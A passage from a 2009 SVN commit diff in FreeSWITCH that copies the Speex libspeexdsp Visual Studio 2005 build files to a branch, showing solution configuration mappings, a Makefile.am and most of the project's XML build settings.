+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_RTL_dll|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_RTL_dll|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_RTL_dll|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_RTL_dll|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_RTL_dll|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_RTL_dll|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_RTL_dll|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_RTL_dll|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/libspeexdsp)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp


Name: svn:ignore
   + Debug
*.user
Release
Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/libspeexdsp/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = libspeexdsp.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp/libspeexdsp.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp/libspeexdsp.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/libspeexdsp/libspeexdsp.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp/libspeexdsp.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/libspeexdsp/libspeexdsp.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1624 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libspeexdsp"
+	ProjectGUID="{E42FDC95-7243-4219-9EA4-ACCE4AB97197}"
+	RootNamespace="libspeexdsp"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="Debug"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="Release"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE2|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				FloatingPointModel="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="..\..\..\bin\libspeexdsp.dll"
+				ModuleDefinitionFile="..\..\libspeexdsp.def"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				ImportLibrary="..\..\..\lib\libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_RTL_dll|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_RTL_dll|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_WM5_PPC_ARM|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_WM5_PPC_ARM|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
